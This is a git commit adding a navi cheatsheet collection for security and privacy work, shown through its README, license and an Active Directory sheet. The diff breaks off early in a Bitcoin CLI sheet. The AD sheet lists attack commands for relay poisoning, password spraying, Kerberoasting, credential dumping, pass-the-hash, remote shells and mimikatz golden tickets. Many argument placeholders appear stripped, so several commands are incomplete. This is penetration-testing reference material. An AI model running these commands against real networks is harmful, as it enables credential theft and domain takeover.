commit 0fc9b49c22894ea3c41e62c6a53b356164155111 Author: rpriven Date: Sun Jan 4 15:05:38 2026 -0700 Initial cypherpunk-cheats collection: 22 navi cheatsheets diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..98cf01f --- /dev/null +++ b/.gitignore @@ -0,0 +1,14 @@ +# OS +.DS_Store +Thumbs.db + +# Editors +*.swp +*.swo +*~ +.vscode/ +.idea/ + +# Temp files +*.tmp +*.bak diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d0b0e61 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 rpriven + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..66d6f0f --- /dev/null +++ b/README.md @@ -0,0 +1,104 @@ +# Cypherpunk Cheats + +Navi-compatible cheatsheets for security, privacy, and digital sovereignty. + +## Installation + +```bash +# Install navi +cargo install navi + +# Or via package manager +sudo apt install navi # Debian/Ubuntu +brew install navi # macOS + +# Add this repo to navi (choose one) +navi repo add https://github.com/rpriven/cypherpunk-cheats # GitHub +navi repo add https://git.djeditech.com/djedi/cypherpunk-cheats # Mirror +``` + +## Manual Setup + +Add to your navi config (`~/.config/navi/config.yaml`): + +```yaml +cheats: + paths: + - /path/to/cypherpunk-cheats +``` + +## Usage + +```bash +# Launch navi +navi + +# Query specific topic +navi --query "nmap" +navi --query "monero" +navi --query "luks" + +# Preview mode +navi --preview + +# Use with custom path +navi --path /path/to/cypherpunk-cheats +``` + +## Categories + +### Offensive Security +| File | Description | +|------|-------------| +| `nmap.cheat` | Port scanning and service enumeration | +| `web.cheat` | Web application testing (ffuf, sqlmap, nikto) | +| `hashcat.cheat` | Password cracking with Hashcat | +| `john.cheat` | John the Ripper password cracking | +| `privesc-linux.cheat` | Linux privilege escalation | +| `privesc-windows.cheat` | Windows privilege escalation | +| `active-directory.cheat` | AD attacks (NetExec, Kerberoasting) | +| `containers.cheat` | Docker/Kubernetes security | +| `wireless.cheat` | WiFi attacks (aircrack-ng, WPA cracking) | +| `tunnels.cheat` | SSH tunnels, chisel, pivoting | + +### DFIR & Analysis +| File | Description | +|------|-------------| +| `forensics.cheat` | Volatility, disk imaging, evidence collection | +| `osint.cheat` | Sherlock, theHarvester, recon-ng | +| `wireshark.cheat` | Packet analysis (tshark, tcpdump) | +| `reversing.cheat` | Ghidra, radare2, GDB, binary analysis | +| `steganography.cheat` | Hidden data extraction (steghide, binwalk) | + +### Privacy & Encryption +| File | Description | +|------|-------------| +| `privacy.cheat` | Tor, GPG, age encryption, metadata removal | +| `luks.cheat` | Full disk encryption (LUKS, dm-crypt) | +| `pass.cheat` | Password managers (pass, KeePassXC) | +| `secure-comms.cheat` | Signal CLI, Matrix, encrypted messaging | + +### Cryptocurrency & Web3 +| File | Description | +|------|-------------| +| `monero.cheat` | Monero CLI wallet operations | +| `bitcoin.cheat` | Bitcoin Core CLI operations | +| `solidity.cheat` | Smart contract auditing (Slither, Foundry) | + +## Philosophy + +Built for cypherpunks who value: +- **Privacy** - Default to encrypted, anonymous, and sovereign +- **Security** - Offensive knowledge for defensive thinking +- **Freedom** - Tools for digital self-determination + +## Contributing + +PRs welcome! Follow the navi `.cheat` format: +- `%` tags for categories +- `#` comments for descriptions +- `$` for argument completion + +## License + +MIT diff --git a/active-directory.cheat b/active-directory.cheat new file mode 100644 index 0000000..572ad7f --- /dev/null +++ b/active-directory.cheat @@ -0,0 +1,75 @@ +% ad, active-directory, kerberos, windows, netexec + +# Start Responder (LLMNR/NBT-NS poisoning) +sudo responder -I -dwPv + +# SMB relay attack +sudo ntlmrelayx.py -tf targets.txt -smb2support + +# Get domain users (NetExec - replacement for crackmapexec) +nxc smb -u -p --users + +# Get domain groups +nxc smb -u -p --groups + +# Password spray +nxc smb -u users.txt -p '' --continue-on-success + +# Password spray multiple passwords +nxc smb -u users.txt -p passwords.txt --no-bruteforce --continue-on-success + +# Kerberoasting - Get TGS tickets +GetUserSPNs.py /: -dc-ip -request + +# AS-REP Roasting +GetNPUsers.py / -usersfile users.txt -dc-ip -format hashcat + +# Dump secrets (admin required) +secretsdump.py /:@ + +# Pass the hash +psexec.py /@ -hashes : + +# Pass the hash with NetExec +nxc smb -u -H + +# DCSync attack +secretsdump.py /:@ -just-dc + +# Get shell with psexec +psexec.py /:@ + +# Get shell with wmiexec +wmiexec.py /:@ + +# Get shell with evil-winrm +evil-winrm -i -u -p + +# BloodHound collection +bloodhound-python -d -u -p -c all -ns + +# PowerView - Get domain info +Import-Module .\PowerView.ps1; Get-Domain + +# PowerView - Get domain users +Get-DomainUser | select samaccountname + +# PowerView - Get domain computers +Get-DomainComputer | select name + +# PowerView - Find domain admins +Get-DomainGroupMember "Domain Admins" + +# Golden ticket with mimikatz +mimikatz.exe "kerberos::golden /User:Administrator /domain: /sid: /krbtgt: /ptt" "exit" + +# Silver ticket +mimikatz.exe "kerberos::golden /User:Administrator /domain: /sid: /target: /service: /rc4: /ptt" "exit" + +$ interface: ip link show | grep -E "^[0-9]" | cut -d: -f2 | tr -d ' ' | grep -v lo +$ dc_ip: echo "" +$ domain: echo "" +$ username: echo "" +$ password: echo "" +$ target: echo "" +$ nthash: echo "" diff --git a/bitcoin.cheat b/bitcoin.cheat new file mode 100644 index 0000000..d5600af --- /dev/null +++ b/bitcoin.cheat @@ -0,0 +1,132 @@ +% bitcoin, btc, cryptocurrency, wallet + +# Start Bitcoin daemon +bitcoind + +# Start daemon with options +bitcoind -daemon -server + +# Stop daemon +bitcoin-cli stop + +# Get blockchain info +bitcoin-cli getblockchaininfo + +# Get network info +bitcoin-cli getnetworkinfo + +# Get wallet info +bitcoin-cli getwalletinfo + +# Create new wallet +bitcoin-cli createwallet "" + +# Load wallet +bitcoin-cli loadwallet "" + +# List wallets +bitcoin-cli listwallets + +# Generate new address +bitcoin-cli getnewaddress + +# Generate new address with label +bitcoin-cli getnewaddress "